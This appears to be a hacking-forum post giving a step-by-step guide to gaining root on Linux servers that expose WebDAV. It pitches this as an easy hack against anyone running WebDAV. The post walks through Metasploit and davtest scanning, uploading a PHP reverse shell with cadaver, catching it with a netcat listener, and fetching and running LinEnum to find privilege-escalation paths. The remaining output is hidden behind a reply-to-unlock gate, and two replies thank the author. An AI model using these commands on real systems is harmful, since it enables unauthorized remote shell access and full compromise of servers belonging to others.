How to gain root from webdav exploitation

[C4sh]

This explains how to exploit WebDAV and escalate priveleges on a linux system, its easy hack if they have webdav running

Step 1: Scan for Weaknesses with Metasploit:

• Open Metasploit: msfconsole.
• Search for WebDAV modules: search webdav.
• Load the webdav_scanner: use auxiliary/scanner/http/webdav_scanner.
• Set path to /dav/: set path /dav/.
• Set target IP: set rhosts <your_target_IP>.
• Execute: run.

Step 2: Assess File Permissions Using DAVTest:

• Run davtest -url http://<your_target_IP>/dav.
• Check for successful directory creation and file uploads.

Step 3: Secure Uploads with Cadaver:

• Connect via Cadaver: cadaver http://<your_target_IP>/dav.
• Test with a harmless file: put test.txt.
• Upload PHP reverse shell: put php-reverse-shell.php.

Step 4: Modify and Secure PHP Reverse Shell:

• Edit PHP shell with your IP and a secure port.

Step 5: Monitor and Analyze Connections:

• Set up netcat listener: nc -lvnp <your_chosen_port>.
• Analyze incoming connections for legitimacy.

Step 6: Privilege Escalation Methods:

• Explore methods like kernel exploits, misconfigurations, or weak service permissions.
• Use tools like sudo -l to check for elevated privileges.
• Check for writable directories and files to escalate privileges.

Step 7: Using LinEnum for Privilege Escalation:

• Download LinEnum: wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh .
• Give execution permissions: chmod +x LinEnum.sh.
• Run LinEnum: ./LinEnum.sh.
• Analyze LinEnum's output for potential privilege escalation paths.

Step 8: Identifying SUID Files with LinEnum:

• Review LinEnum's output for the section titled "( SUID Files )".
• LinEnum will list files with SUID permissions, indicating potential privilege escalation opportunities.
• Example output:
  plaintext

====================================( SUID Files )======================================

To see this hidden content, you need to "Reply & React" with one of the following reactions: Like, Love, Haha, Wow

 

[OLIVER123]

thanks

 

[leonel999]

Thanks